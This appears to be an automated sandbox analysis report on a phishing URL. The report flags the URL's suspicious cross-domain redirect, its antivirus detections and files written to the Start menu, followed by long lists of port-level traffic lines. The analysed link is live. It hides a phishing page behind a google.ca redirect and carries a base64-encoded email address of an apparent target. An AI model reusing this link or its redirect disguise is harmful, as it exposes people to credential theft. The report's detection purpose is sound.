Edit tour

Windows Analysis Report
https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=

Overview

General Information

Sample URL:	https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=
Analysis ID:	1559220
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected suspicious crossdomain redirect

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2000,i,5068049078608606365,13413007719438405554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Wed, 20 Nov 2024 09:20:04 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
